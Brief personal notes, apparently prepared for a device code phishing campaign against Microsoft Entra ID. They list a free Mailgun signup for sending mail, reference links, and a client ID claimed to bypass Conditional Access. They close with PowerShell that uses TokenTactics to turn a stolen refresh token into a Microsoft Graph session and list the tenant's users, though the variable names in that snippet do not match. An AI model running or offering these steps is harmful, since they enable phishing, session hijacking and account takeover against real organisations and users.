SMTP provider

Mailgun

Link for creation account as developer without any card requested:

https://signup.mailgun.com/new/signup?plan_name=dev_free&currency=USD

Device Code Phishing

https://github.com/cisagov/ScubaGear/issues/1599

https://bastradamus.com/azure-entra-id-token-manipulation-ca156e9cd26e

image.png

Configuration of Device Code Flow

Seems that this Client ID bypass Conditional Access Policy:

Microsoft Mobile Application Management

0a5f63c0-b750-4f38-a71c-4fc0d58b89e2

Install the necessary module to interact with Microsoft Graph:

Install-Module -Name Microsoft.Graph

Import-Module ./TokenTactics.psd1

$GraphTokens = RefreshTo-MSGraphToken -RefreshToken "IL_TUO_REFRESH_TOKEN"

$SecureToken = $MSGraphToken.access_token | ConvertTo-SecureString -AsPlainText -Force

Connect-MgGraph -AccessToken $SecureToken

Get-MgUser